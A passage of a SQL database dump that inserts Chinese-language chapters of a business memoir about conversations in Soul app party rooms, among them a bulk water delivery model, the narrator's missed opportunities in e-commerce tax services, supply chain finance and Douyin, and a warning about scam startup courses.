"\n\n\"不是技术,是信任。\"\n\n\"老百姓相信淘宝。\"\n\n\"他们觉得在淘宝上买东西安全。\"\n\n\"拍卖也一样,他们觉得在淘宝上拍安全。\"\n\n\"这个信任,我们线下拍卖行建立不起来。\"\n\n---\n\n派对房里,有人问:\"那你们怎么办?\"\n\n抱朴想了一下。\n\n\"只能转型。\"\n\n\"有些同行去做艺术品拍卖了,那个淘宝做不了。\"\n\n\"有些去做特殊资产了,需要专业度的。\"\n\n\"有些就退出了,不做了。\"\n\n---\n\n我问:\"那你呢?\"\n\n他说:\"我还在做。\"\n\n\"但不像以前那么好做了。\"\n\n\"以前是等活上门,现在是到处找活。\"\n\n\"以前是躺着赚钱,现在是跪着赚钱。\"\n\n---\n\n那天聊完,派对房里有人说:\"淘宝真的改变了很多行业。\"\n\n我说:\"不只是淘宝。\"\n\n\"任何新技术、新平台出来,都会冲击旧的模式。\"\n\n\"这是规律,躲不掉的。\"\n\n---\n\n早上9点02分,抱朴说:\"我跟你们说这些,不是诉苦。\"\n\n\"是想说,机会来的时候,一定要抓住。\"\n\n\"那一个亿的佣金,我没抓住。\"\n\n\"不是我不想抓,是窗口关了。\"\n\n\"淘宝一进来,游戏规则就变了。\"\n\n---\n\n我说:\"这就是我常说的窗口期。\"\n\n\"电商财税有窗口期,我错过了。\"\n\n\"内容红利有窗口期,我错过了。\"\n\n\"抱朴的不良资产拍卖,也有窗口期。\"\n\n\"窗口一关,再努力也没用。\"\n\n---\n\n派对房里,有人问:\"那怎么判断窗口期?\"\n\n我说:\"看政策,看技术,看竞争。\"\n\n\"政策在松,就是窗口。\"\n\n\"新技术刚出来,就是窗口。\"\n\n\"竞争者还少,就是窗口。\"\n\n\"等大家都知道了,窗口就关了。\"\n\n---\n\n早上9点18分,抱朴说他要走了。\n\n临走前他说:\"卡若,谢谢你的派对房。\"\n\n\"让我把这些年的事情讲出来,心里舒服多了。\"\n\n我说:\"下次再来。\"\n\n\"你的故事,对很多人都有价值。\"\n\n\"至少让大家知道,什么叫错过。\"\n\n\"知道了错过,才会珍惜机会。\"\n', 1358, 0, 1.00, 24, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.729', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (33, '5.5', 'part-2', '第二篇|真实的行业', 'chapter-5', '第5章|传统行业篇', '桶装水李总:跟物业合作的轻资产模式', '# 5.5 桶装水李总:跟物业合作的轻资产模式\n\n\"包年1500块,随便你喝。你算一下,是不是比每次单买便宜?\"\n\n2025年12月3日,周三,早上7点42分。\n\n那天派对房的气氛很轻松,聊着聊着,一个ID叫\"李无聊\"的人上了麦。\n\n声音不急不慢,说他在厦门做桶装水。\n\n我问:\"送水也能做出模式来?\"\n\n他说:\"能。\"\n\n---\n\n派对房里,有人问:\"送水不就是送水吗?有什么模式?\"\n\n李总说:\"你们想象的送水,是一个师傅骑着三轮车,挨家挨户送。\"\n\n\"累,人工成本高,而且量上不去。\"\n\n\"我做的不一样。\"\n\n---\n\n他继续说。\n\n\"我是跟物业合作。\"\n\n\"找到一栋写字楼的物业,跟他谈:你给我一个仓库位置,我把水放在那里。\"\n\n\"然后水怎么送到楼上呢?\"\n\n\"物业的保安帮我送。\"\n\n---\n\n派对房里,有人说:\"保安愿意吗?\"\n\n李总说:\"给钱就愿意。\"\n\n\"保安本来就闲着,多挣点外快,他高兴还来不及。\"\n\n\"我跟他们谈好,每桶多少钱,他送到客户那里,这部分钱归他。\"\n\n---\n\n派对房里,有人问:\"那你赚什么?\"\n\n李总说:\"我赚差价。\"\n\n\"我后端有供应链,拿货成本比市面上低。\"\n\n\"我卖给客户的价格虽然便宜,但还是有利润的。\"\n\n\"关键是,我不用招人,不用发工资,不用管配送。\"\n\n\"物业帮我解决了所有的最后一公里问题。\"\n\n---\n\n我问:\"那你怎么获客?\"\n\n李总说:\"也是找物业。\"\n\n\"物业有这栋楼所有公司的联系方式。\"\n\n\"物业帮我推,因为我给物业分成。\"\n\n\"公司收到物业推荐的水,觉得便宜,就订了。\"\n\n\"这个信任链条是:物业——公司——我。\"\n\n---\n\n派对房里,有人问:\"那你现在做了多少量?\"\n\n李总说了几个数据。\n\n\"四海云楼那边,320多家企业。\"\n\n\"一个月流水16万多。\"\n\n\"利润7万6到7万。\"\n\n---\n\n派对房里,有人说:\"利润还可以啊。\"\n\n李总说:\"还行吧。\"\n\n\"但也辛苦,一开始很难谈。\"\n\n\"物业凭什么跟你合作?你要证明你靠谱。\"\n\n\"你要证明你的水质量好,服务稳定。\"\n\n\"谈一个物业,可能要跑好几次。\"\n\n---\n\n我问:\"你的核心竞争力是什么?\"\n\n李总想了一下。\n\n\"两个。\"\n\n\"第一个,供应链。我拿货成本低,所以我能给客户便宜的价格。\"\n\n\"第二个,模式。我把配送外包给物业保安,所以我人工成本低。\"\n\n\"这两个加起来,我就能打价格战,而且还有利润。\"\n\n---\n\n派对房里,有人问:\"那你的壁垒是什么?别人也能这么做啊。\"\n\n李总说:\"壁垒是关系。\"\n\n\"我跟这些物业的关系,别人短时间建立不起来。\"\n\n\"而且我先入场,客户已经习惯找我了。\"\n\n\"你后来进来,要把客户抢走,很难。\"\n\n---\n\n那天聊完,派对房里有人说:\"原来送水也能这么玩。\"\n\n我说:\"任何行业都能玩出花来。\"\n\n\"送水听起来low,但你把模式做对,就能赚钱。\"\n\n\"关键是找到轻资产的方式。\"\n\n\"人工成本是最重的,你能外包出去,就轻了。\"\n\n---\n\n早上8点25分,我问李总:\"你还扩张吗?\"\n\n他说:\"在看其他写字楼。\"\n\n\"厦门还有很多楼没覆盖。\"\n\n\"只要物业愿意合作,我就能进去。\"\n\n我说:\"那你来派对房多分享分享。\"\n\n\"说不定有人听了,想跟你合作。\"\n\n\"或者有人在其他城市,想复制你的模式。\"\n\n他笑了:\"那很好啊。\"\n\n---\n\n后来,我们公司真的找李总订了水。\n\n1500块,包年,不限量。\n\n比以前单买便宜多了。\n\n这就是Soul派对房的好处。\n\n你分享一个模式,别人觉得好,就成了你的客户。\n\n分享即获客,这是最低成本的销售。\n', 1337, 0, 1.00, 25, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.741', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (34, '6.1', 'part-3', '第三篇|真实的错误', 'chapter-6', '第6章|我人生错过的4件大钱', '电商财税窗口:2016年的千万级机会', '# 6.1 电商财税窗口:2016年的千万级机会\n\n\"如果让我重新选择,2016年我一定不会错过电商财税这个机会。\"\n\n2025年11月19日,周三,早上6点45分。\n\n那天派对房的气氛有点感慨,聊起了人生的遗憾。\n\n有人问:\"你错过最大的机会是什么?\"\n\n我说:\"电商财税。\"\n\n---\n\n派对房里,有人问:\"什么是电商财税?\"\n\n我说:\"就是帮电商卖家做税务合规和筹划。\"\n\n\"2016年到2017年,这是一个巨大的窗口期。\"\n\n---\n\n我继续说。\n\n\"那个时候,淘宝、天猫上的卖家,大部分都是\'裸奔\'状态。\"\n\n\"什么叫裸奔?就是不开票、不报税、钱直接进个人账户。\"\n\n\"他们觉得自己是小卖家,税务局不会查到自己头上。\"\n\n---\n\n我停了一下。\n\n\"但2016年开始,情况变了。\"\n\n\"税务局开始利用大数据,跟电商平台对接。\"\n\n\"你在平台上的每一笔交易,税务局都能看到。\"\n\n\"很多卖家突然收到税务局的通知,说你这几年少交了多少税,要补缴。\"\n\n---\n\n派对房里,有人说:\"那不是很惨?\"\n\n我说:\"对,很多人被补税补得倾家荡产。\"\n\n\"但这个时候,做电商财税的人就赚翻了。\"\n\n---\n\n我继续说。\n\n\"他们做什么?\"\n\n\"帮卖家做税务筹划,帮他们合规,帮他们省税。\"\n\n\"一个客户收几万块服务费,一年做几百个客户,你算算多少钱?\"\n\n---\n\n派对房里,有人问:\"那你为什么没做?\"\n\n我说:\"因为我当时不懂。\"\n\n\"我那时候也在做电商,但我只会卖货,不懂财税。\"\n\n\"我身边有人在做这个,跟我说过好几次,让我一起做。\"\n\n\"我没当回事。\"\n\n---\n\n我停了一下。\n\n\"我当时想的是什么?\"\n\n\"我想的是,卖货才是正经事,财税那些东西太复杂了,我不想碰。\"\n\n\"而且我觉得,财税这种东西,应该是会计师事务所做的,我一个卖货的,做什么财税?\"\n\n---\n\n我继续说。\n\n\"结果呢?\"\n\n\"那个跟我说的人,两年赚了上千万。\"\n\n\"我呢?还在苦哈哈地卖货,一年赚个几十万。\"\n\n---\n\n派对房里,有人说:\"那你后来为什么没补上?\"\n\n我说:\"因为窗口期过了。\"\n\n\"2018年以后,这个市场就饱和了。\"\n\n\"做电商财税的公司越来越多,价格越来越卷。\"\n\n\"而且很多卖家也学聪明了,自己就会做基本的税务筹划。\"\n\n\"那个躺着赚钱的时代,过去了。\"\n\n---\n\n我停了一下。\n\n\"这件事给我的教训是什么?\"\n\n\"第一,机会往往在你不熟悉的领域。\"\n\n\"如果你只盯着自己熟悉的东西,你就会错过很多机会。\"\n\n---\n\n我继续说。\n\n\"第二,不要拒绝学习新东西。\"\n\n\"我当时如果愿意花几个月时间去学财税知识,可能就抓住那个机会了。\"\n\n\"但我觉得太麻烦,不想学。\"\n\n\"结果就是,我用\'不想学\'的借口,错过了一个千万级的机会。\"\n\n---\n\n我停了一下。\n\n\"第三,要听得进别人的建议。\"\n\n\"有人跟你说一个机会,你至少应该认真研究一下,而不是直接拒绝。\"\n\n\"我当时就是太自以为是了,觉得自己懂,其实什么都不懂。\"\n\n---\n\n那天早上7点23分,派对房里安静了一会儿。\n\n有人说:\"听你这么说,我想起我也错过过类似的机会。\"\n\n我说:\"每个人都错过过。\"\n\n\"关键不是后悔,是从错过里学到东西。\"\n\n\"我现在每次遇到一个新东西,都会多想一下:这会不会是下一个电商财税?\"\n\n\"想不明白没关系,但至少要想。\"\n\n\"不想,就永远只能看着别人赚钱。\"\n', 1275, 0, 1.00, 26, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.752', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (35, '6.2', 'part-3', '第三篇|真实的错误', 'chapter-6', '第6章|我人生错过的4件大钱', '供应链金融:我不懂的杠杆游戏', '# 6.2 供应链金融:我不懂的杠杆游戏\n\n\"2018年,有人找我做供应链金融,我拒绝了。\"\n\n2025年11月21日,周五,早上6点11分。\n\nSoul派对房里继续聊错过的机会。\n\n有人问:\"供应链金融是什么?\"\n\n我说:\"简单说,就是用供应链上的应收账款、存货这些东西做抵押,去银行贷款。\"\n\n---\n\n派对房里,有人说:\"这不就是贷款吗?\"\n\n我说:\"不只是贷款,是一套系统。\"\n\n\"你想想,一个供应链上有多少环节?\"\n\n\"原材料供应商、生产商、品牌商、经销商、零售商。\"\n\n\"每个环节都有资金需求,都有应收账款。\"\n\n\"如果你能把这些资金需求整合起来,帮他们对接银行,你就能赚到钱。\"\n\n---\n\n我继续说。\n\n\"2018年的时候,有个做金融的朋友找我。\"\n\n\"他说,你做电商,认识很多供应商和品牌商,我们可以一起做供应链金融。\"\n\n\"我负责找客户,他负责对接银行和资金方。\"\n\n---\n\n派对房里,有人问:\"那你为什么没做?\"\n\n我说:\"因为我不懂。\"\n\n\"他跟我讲了一大堆,什么保理、什么票据、什么资产证券化。\"\n\n\"我听得云里雾里,完全不懂。\"\n\n---\n\n我停了一下。\n\n\"而且我当时有一个顾虑。\"\n\n\"我觉得金融这个东西,风险太大。\"\n\n\"万一出了问题,会不会把我也牵连进去?\"\n\n\"所以我就拒绝了。\"\n\n---\n\n我继续说。\n\n\"结果呢?\"\n\n\"那个朋友后来找了别人合作,三年赚了几千万。\"\n\n\"而且他做的是正规的供应链金融,完全合法合规。\"\n\n\"我当时的顾虑,完全是因为不懂而产生的恐惧。\"\n\n---\n\n派对房里,有人说:\"那你现在后悔吗?\"\n\n我说:\"后悔。\"\n\n\"但更重要的是,我从这件事里学到了一个教训。\"\n\n---\n\n我停了一下。\n\n\"什么教训?\"\n\n\"就是不要因为不懂就拒绝。\"\n\n\"不懂可以学,可以问,可以找人解释。\"\n\n\"但如果你因为不懂就直接拒绝,你就永远没有机会懂了。\"\n\n---\n\n我继续说。\n\n\"还有一个教训。\"\n\n\"就是不要把\'风险\'和\'不懂\'混为一谈。\"\n\n\"很多时候,你觉得一件事情风险大,其实是因为你不懂。\"\n\n\"当你真正懂了,你就知道风险在哪里,怎么控制风险。\"\n\n\"不懂的时候,一切都是风险。懂了之后,风险是可以管理的。\"\n\n---\n\n派对房里,有人问:\"那供应链金融现在还能做吗?\"\n\n我说:\"能做,但机会没有那么大了。\"\n\n\"2018年是窗口期,那时候做的人少,利润高。\"\n\n\"现在做的人多了,利润被压缩了。\"\n\n\"但如果你有资源、有能力,还是可以做的。\"\n\n---\n\n我停了一下。\n\n\"但我想说的不是供应链金融本身。\"\n\n\"我想说的是,金融思维。\"\n\n---\n\n我继续说。\n\n\"什么是金融思维?\"\n\n\"就是用杠杆的思维来看问题。\"\n\n\"普通人赚钱,是用时间换钱。你工作一天,赚一天的钱。\"\n\n\"有金融思维的人赚钱,是用钱生钱,用杠杆放大收益。\"\n\n---\n\n我举了个例子。\n\n\"比如你有100万,你可以自己做生意,一年赚20万。\"\n\n\"但如果你有金融思维,你可以用这100万去撬动1000万的资源。\"\n\n\"然后用1000万去做生意,一年可能赚200万。\"\n\n\"这就是杠杆的力量。\"\n\n---\n\n派对房里,有人说:\"但杠杆不是有风险吗?\"\n\n我说:\"当然有风险。\"\n\n\"但风险和收益是成正比的。\"\n\n\"你想要高收益,就必须承担一定的风险。\"\n\n\"关键是,你要懂得怎么控制风险,而不是因为害怕风险就放弃机会。\"\n\n---\n\n那天早上7点08分,有人在派对房里说:\"我一直觉得金融很复杂,不敢碰。\"\n\n我说:\"我以前也这么想。\"\n\n\"但后来我发现,金融的底层逻辑其实很简单:钱从多的地方流向少的地方,从便宜的地方流向贵的地方。\"\n\n\"你理解了这个,很多金融产品就不难懂了。\"\n\n\"不要被那些专业术语吓住。\"\n\n\"术语是用来装门槛的,底层逻辑是相通的。\"\n', 1430, 0, 1.00, 27, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.763', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (36, '6.3', 'part-3', '第三篇|真实的错误', 'chapter-6', '第6章|我人生错过的4件大钱', '内容红利:2019年我为什么没做抖音', '# 6.3 内容红利:2019年我为什么没做抖音\n\n\"2019年,抖音的流量红利期,我在干什么?我在卖货。\"\n\n2025年11月26日,周三,早上6点28分。\n\nSoul派对房里聊起了内容创业。\n\n有人问:\"你做过抖音吗?\"\n\n我说:\"做过,但做得太晚了。\"\n\n---\n\n派对房里,有人问:\"什么叫太晚?\"\n\n我说:\"2019年是抖音的黄金期。\"\n\n\"那时候随便发个视频,都能有几万、几十万的播放量。\"\n\n\"很多人就是那个时候起来的,现在都是百万粉、千万粉的大号。\"\n\n---\n\n我继续说。\n\n\"但我那时候在干什么?\"\n\n\"我在埋头卖货。\"\n\n\"我觉得抖音是年轻人玩的东西,跟我没关系。\"\n\n\"我觉得卖货才是正经事,做内容太虚了。\"\n\n---\n\n我停了一下。\n\n\"结果呢?\"\n\n\"2021年我开始做抖音的时候,红利期已经过了。\"\n\n\"同样的内容,2019年能有几十万播放,2021年可能只有几千。\"\n\n\"我错过了最好的时机。\"\n\n---\n\n派对房里,有人说:\"但你现在在Soul上做得不是挺好的吗?\"\n\n我说:\"Soul是另一个故事。\"\n\n\"但抖音的红利,我确实错过了。\"\n\n---\n\n我继续说。\n\n\"这件事给我的教训是什么?\"\n\n\"第一,不要用老眼光看新事物。\"\n\n\"我当时觉得抖音是年轻人的玩具,不值得认真对待。\"\n\n\"但实际上,抖音已经成为了一个巨大的商业平台。\"\n\n\"我的偏见让我错过了这个机会。\"\n\n---\n\n我停了一下。\n\n\"第二,不要只盯着眼前的事情。\"\n\n\"我当时卖货卖得还不错,所以我觉得没必要做其他的。\"\n\n\"但我没想到的是,卖货的红利也会过去。\"\n\n\"如果我当时一边卖货,一边做抖音,现在可能完全不一样。\"\n\n---\n\n我继续说。\n\n\"第三,内容是最好的杠杆。\"\n\n\"你卖货,一天能卖多少?取决于你的时间和精力。\"\n\n\"但你做内容,一个视频可以被无数人看到。\"\n\n\"这就是杠杆。\"\n\n---\n\n派对房里,有人问:\"那现在做内容还有机会吗?\"\n\n我说:\"有,但要换个思路。\"\n\n\"2019年做抖音,靠的是流量红利。随便发个视频都有人看。\"\n\n\"现在做抖音,靠的是内容质量和差异化。你必须比别人做得更好,或者做别人不做的东西。\"\n\n---\n\n我继续说。\n\n\"还有一个方向,就是找新的平台。\"\n\n\"每个新平台出来的时候,都有一波红利期。\"\n\n\"比如Soul,现在就是红利期。\"\n\n\"很多人还不知道Soul可以做什么,但我已经在这里建立了自己的影响力。\"\n\n\"这就是抓住新平台红利的例子。\"\n\n---\n\n派对房里,有人说:\"但怎么判断一个平台有没有红利?\"\n\n我说:\"看两个指标。\"\n\n\"第一,用户增长速度。如果一个平台的用户在快速增长,说明有红利。\"\n\n\"第二,内容供给。如果一个平台上优质内容还不多,说明有机会。\"\n\n---\n\n我停了一下。\n\n\"但最重要的是,你要敢于尝试。\"\n\n\"很多人看到一个新平台,会说\'再等等看\'、\'看看别人怎么做\'。\"\n\n\"但等你看清楚的时候,红利期已经过了。\"\n\n\"敢于在不确定的时候入场,才能抓住红利。\"\n\n---\n\n那天早上7点16分,有人问我:\"你觉得下一个红利平台是什么?\"\n\n我说:\"我不知道。\"\n\n\"如果我知道,我早就去做了。\"\n\n\"但我知道一件事:红利一定会有,只是不知道在哪里。\"\n\n\"你能做的,就是保持敏感,多尝试,快速验证。\"\n\n\"错过一个不可怕,可怕的是一直错过。\"\n\n\"而一直错过的原因,往往不是运气不好,是你根本没在找。\"\n', 1293, 0, 1.00, 28, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.775', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (37, '6.4', 'part-3', '第三篇|真实的错误', 'chapter-6', '第6章|我人生错过的4件大钱', '数据资产化:我还在观望的未来机会', '# 6.4 数据资产化:我还在观望的未来机会\n\n\"数据资产登记,可能是下一个千万级的机会。但我还在观望。\"\n\n2025年12月11日,周四,早上6点55分。\n\nSoul派对房里聊起了数据资产。\n\n有人问:\"什么是数据资产?\"\n\n我说:\"简单说,就是把你的数据变成可以交易、可以抵押、可以融资的资产。\"\n\n---\n\n派对房里,有人说:\"数据怎么变成资产?\"\n\n我说:\"这就是现在正在发生的事情。\"\n\n\"国家出台了数据资产登记的政策,企业可以把自己的数据去登记,登记之后就有了\'资产凭证\'。\"\n\n\"有了这个凭证,你就可以用数据去融资、去抵押、去交易。\"\n\n---\n\n我继续说。\n\n\"你想想,现在哪些企业有数据?\"\n\n\"电商企业有用户消费数据。\"\n\n\"物流企业有运输数据。\"\n\n\"金融企业有交易数据。\"\n\n\"甚至街边的小店,如果用了收银系统,也有销售数据。\"\n\n---\n\n我停了一下。\n\n\"这些数据以前是\'死\'的,放在那里没有用。\"\n\n\"但如果能把它们资产化,就变成了\'活\'的,可以变现。\"\n\n---\n\n派对房里,有人问:\"那你为什么说这是一个机会?\"\n\n我说:\"因为现在做这个的人很少。\"\n\n\"大部分企业还不知道数据可以资产化,不知道怎么操作。\"\n\n\"如果你能帮他们做这件事,你就能赚到钱。\"\n\n---\n\n我继续说。\n\n\"就像2016年的电商财税一样。\"\n\n\"那时候大部分卖家不知道要合规,不知道怎么合规。\"\n\n\"帮他们做这件事的人,赚了很多钱。\"\n\n\"数据资产化可能是同样的逻辑。\"\n\n---\n\n派对房里,有人问:\"那你为什么还在观望?\"\n\n我说:\"因为我还没想清楚怎么做。\"\n\n\"这个领域太新了,政策还在变,市场还在形成。\"\n\n\"我不知道具体应该怎么切入,怎么找客户,怎么提供服务。\"\n\n---\n\n我停了一下。\n\n\"而且我有一个担心。\"\n\n\"就是这个领域可能会被大公司垄断。\"\n\n\"数据资产登记需要跟政府对接,需要有资质,需要有技术。\"\n\n\"这些门槛可能会把小玩家挡在外面。\"\n\n---\n\n派对房里,有人说:\"那你打算怎么办?\"\n\n我说:\"我在做两件事。\"\n\n\"第一,持续关注这个领域,学习相关的知识。\"\n\n\"第二,找这个领域的人聊天,了解他们在做什么,遇到什么问题。\"\n\n---\n\n我继续说。\n\n\"我不会贸然冲进去,但我也不会完全放弃。\"\n\n\"我会保持关注,等到我看清楚了,再决定要不要进入。\"\n\n---\n\n派对房里,有人问:\"那这算不算又在错过机会?\"\n\n我说:\"可能是,也可能不是。\"\n\n\"有些机会,需要快速行动。比如内容红利,你不做,别人就做了。\"\n\n\"有些机会,需要等待时机。比如数据资产化,市场还没成熟,进去太早可能会成为炮灰。\"\n\n---\n\n我停了一下。\n\n\"关键是,你要判断这个机会是哪一种。\"\n\n\"如果是需要快速行动的,那就不要犹豫。\"\n\n\"如果是需要等待时机的,那就耐心观察。\"\n\n---\n\n我继续说。\n\n\"但不管怎样,你不能完全无视。\"\n\n\"很多人错过机会,不是因为他们判断错了,是因为他们根本没关注。\"\n\n\"等机会过去了,他们才说\'我怎么不知道有这个东西\'。\"\n\n---\n\n那天早上7点31分,派对房里有人说:\"感觉你对数据资产化挺看好的。\"\n\n我说:\"我确实看好。\"\n\n\n\n---\n\n临前下麦前,我说了一句话。\n\n\"我错过过电商财税,错过过供应链金融,错过过抖音红利。\"\n\n\"每一次错过,都让我更加警觉。\"\n\n\"但警觉不等于冲动。\"\n\n\"真正成熟的做法,是在警觉的同时保持冷静。\"\n\n\"该出手的时候出手,该等待的时候等待。\"\n\n\"这个分寸,可能需要一辈子去学。\"\n', 1334, 0, 1.00, 29, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.786', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (38, '7.1', 'part-3', '第三篇|真实的错误', 'chapter-7', '第7章|别人犯的错误', '投资房年轻人的迷茫:资金 vs 能力', '# 7.1 投资房年轻人的迷茫:资金 vs 能力\n\n\"我手上有一套房,但我不知道该卖掉创业,还是继续持有。\"\n\n2025年11月24日,周一,早上6点55分。\n\n那天派对房里来了个90后,语气有点纠结。\n\n他说他在厦门有一套房,市值大概300万,但他现在很迷茫。\n\n我问:\"你为什么想卖房创业?\"\n\n他说:\"因为我觉得房子涨不动了,不如把钱拿出来做点事情。\"\n\n---\n\n派对房里,有人问:\"你想创业做什么?\"\n\n他说:\"还没想好。可能做电商,可能做自媒体,也可能做餐饮。\"\n\n我说:\"等一下,你这三个方向差别很大。\"\n\n\"你到底想做什么?\"\n\n他说:\"我不知道,我就是想做点事情。\"\n\n---\n\n我说:\"这就是问题。\"\n\n\"你不是想创业,你是想\'改变现状\'。\"\n\n\"但你不知道往哪个方向改变。\"\n\n---\n\n派对房里,有人说:\"那他卖房创业不行吗?\"\n\n我说:\"不是不行,是风险太大。\"\n\n\"你想想,他手上唯一的资产就是这套房。\"\n\n\"如果他卖掉房子去创业,创业失败了怎么办?\"\n\n\"他就什么都没有了。\"\n\n---\n\n我继续说。\n\n\"很多人有一个误区。\"\n\n\"他们觉得,创业失败了没关系,大不了从头再来。\"\n\n\"但实际上,创业失败的代价是很大的。\"\n\n\"不只是钱的问题,还有时间、精力、信心的问题。\"\n\n---\n\n我停了一下。\n\n\"而且创业需要的不只是资金,更重要的是能力。\"\n\n\"你有没有做过生意?你懂不懂运营?你会不会管理?你有没有资源?\"\n\n\"这些东西,不是有钱就能解决的。\"\n\n---\n\n派对房里,那个90后说:\"那我应该怎么办?\"\n\n我说:\"我给你一个建议。\"\n\n\"不要卖房,但可以用房子做杠杆。\"\n\n---\n\n我继续说。\n\n\"什么意思?\"\n\n\"你可以把房子抵押,贷出一部分钱来试水。\"\n\n\"比如贷50万,先做一个小项目。\"\n\n\"成功了,再扩大。失败了,你还有房子兜底。\"\n\n---\n\n派对房里,有人说:\"但贷款要还利息啊。\"\n\n我说:\"是的,但利息是可控的成本。\"\n\n\"你卖房创业,如果失败了,你连本金都没了。\"\n\n\"你贷款创业,如果失败了,你最多损失这50万和利息。\"\n\n\"哪个风险更大?\"\n\n---\n\n我停了一下。\n\n\"但更重要的是,在你投钱之前,先投时间。\"\n\n\"什么意思?\"\n\n\"你说你想做电商、自媒体、餐饮,但你一个都没试过。\"\n\n\"你怎么知道自己适合做什么?\"\n\n---\n\n我继续说。\n\n\"我建议你先花三个月到半年时间,去尝试。\"\n\n\"你可以先不辞职,用业余时间去做。\"\n\n\"比如你想做自媒体,那就先开一个账号,每天发内容,看看有没有人看。\"\n\n\"比如你想做电商,那就先在闲鱼上卖点东西,感受一下。\"\n\n\"比如你想做餐饮,那就先去一家餐厅打工,了解一下这个行业。\"\n\n---\n\n派对房里,那个90后说:\"但这样太慢了。\"\n\n我说:\"慢才是快。\"\n\n\"你现在着急投钱进去,可能三个月就亏光了。\"\n\n\"你先花三个月试水,可能能避免一个大坑。\"\n\n---\n\n那天聊完,派对房里有人说:\"我觉得他不会听的。\"\n\n我说:\"可能吧。\"\n\n\"很多人都是这样,道理都懂,但就是想走捷径。\"\n\n\"他们觉得,只要有钱,什么都能解决。\"\n\n\"但实际上,钱只是放大器。\"\n\n\"你有能力,钱能放大你的能力。\"\n\n\"你没能力,钱只能放大你的错误。\"\n\n---\n\n这本书的真实目的,不是阻止你创业。\n\n而是告诉你,创业之前,先问自己几个问题:\n\n第一,你想做什么?如果你自己都不知道,那就先别动。\n\n第二,你有什么能力?如果你什么都不会,那就先去学。\n\n第三,你能承受多大的损失?如果你输不起,那就先别赌。\n\n想清楚这三个问题,再决定要不要创业。\n\n这不是保守,这是理性。\n', 1364, 0, 1.00, 30, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.797', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (39, '7.2', 'part-3', '第三篇|真实的错误', 'chapter-7', '第7章|别人犯的错误', '信息差骗局:永远有人靠卖学习赚钱', '# 7.2 信息差骗局:永远有人靠卖学习赚钱\n\n\"我花了两万块报了一个创业课,结果发现全是废话。\"\n\n2025年12月8日,周一,早上7点12分。\n\n那天派对房里来了个声音有点沮丧的女生,一上麦就开始吐槽。\n\n她说她去年报了一个\"创业训练营\",交了两万块学费。\n\n我问:\"那个课教了什么?\"\n\n她说:\"就是一些很基础的东西,什么定位、流量、变现。\"\n\n\"这些东西我在网上免费都能看到,他们就是换个说法讲一遍。\"\n\n---\n\n派对房里,有人问:\"那你为什么会报名?\"\n\n她说:\"因为他们的宣传太厉害了。\"\n\n\"说什么\'学完就能月入十万\'、\'已经有多少学员成功\'。\"\n\n\"还有一堆学员的成功案例,看起来很真实。\"\n\n\"我当时就觉得,两万块换一个月入十万的机会,值了。\"\n\n---\n\n我说:\"这就是典型的\'信息差骗局\'。\"\n\n---\n\n派对房里,有人问:\"什么叫信息差骗局?\"\n\n我说:\"就是利用你不懂的东西,卖给你一个\'学习的机会\'。\"\n\n\"他们不是在卖知识,他们是在卖\'希望\'。\"\n\n---\n\n我继续说。\n\n\"你想想,那些创业课的老师,他们自己创业成功了吗?\"\n\n\"很多人没有。\"\n\n\"他们的商业模式就是:告诉你创业能赚钱,然后卖课给你。\"\n\n\"他们赚的不是创业的钱,是卖课的钱。\"\n\n---\n\n派对房里,那个女生说:\"但他们有成功案例啊。\"\n\n我说:\"成功案例是可以包装的。\"\n\n\"比如他们找一个学员,这个学员本来就有点基础,学完课之后赚了点钱。\"\n\n\"然后他们就把这个人包装成\'学完月入十万\'的案例。\"\n\n\"但他们不会告诉你,这个人本来就有资源,本来就有能力。\"\n\n\"他们更不会告诉你,有多少人学完之后什么都没赚到。\"\n\n---\n\n我停了一下。\n\n\"这就是信息差骗局的套路。\"\n\n\"第一,制造焦虑。告诉你,你不学习就会被淘汰,你不创业就会穷一辈子。\"\n\n\"第二,贩卖希望。告诉你,只要学了这个课,你就能成功。\"\n\n\"第三,展示案例。给你看一堆成功案例,让你觉得这是真的。\"\n\n\"第四,限时优惠。告诉你,现在报名有优惠,错过就没了。\"\n\n---\n\n派对房里,有人说:\"那怎么判断一个课值不值得报?\"\n\n我说:\"有几个方法。\"\n\n\"第一,看老师的背景。他自己做过什么?有什么成绩?不是他学员的成绩,是他自己的成绩。\"\n\n\"第二,看课程的内容。能不能看到详细的大纲?还是只有一些模糊的承诺?\"\n\n\"第三,看退款政策。如果学完不满意能不能退款?不能退款的,基本上都有问题。\"\n\n\"第四,问问自己。这个课教的东西,我能不能在网上免费找到?如果能,为什么要花钱?\"\n\n---\n\n我继续说。\n\n\"还有一个最简单的判断方法。\"\n\n\"如果一个课告诉你\'学完就能月入多少\',那基本上是骗人的。\"\n\n\"因为没有任何课能保证你的收入。\"\n\n\"收入取决于太多因素:你的能力、你的资源、你的执行力、市场的情况。\"\n\n\"一个课最多能教你方法,但不能保证你的结果。\"\n\n---\n\n派对房里,那个女生说:\"那我这两万块就白花了?\"\n\n我说:\"也不能说完全白花。\"\n\n\"至少你学到了一个教训:不要轻易相信那些\'快速成功\'的承诺。\"\n\n\"这个教训值两万块。\"\n\n---\n\n我停了一下。\n\n\"但更重要的是,你要想清楚一个问题。\"\n\n\"你为什么会被这种课吸引?\"\n\n\"是因为你真的想学东西,还是因为你想走捷径?\"\n\n---\n\n那天聊完,派对房里有人说:\"这种课太多了,防不胜防。\"\n\n我说:\"是的。\"\n\n\"只要有人想走捷径,就会有人卖捷径。\"\n\n\"这是人性,改变不了。\"\n\n---\n\n我继续说。\n\n\"但你可以改变自己。\"\n\n\"记住一句话:天下没有免费的午餐,也没有速成的成功。\"\n\n\"任何告诉你\'快速\'、\'轻松\'、\'保证\'的东西,都要打个问号。\"\n\n\"真正的成功,都是慢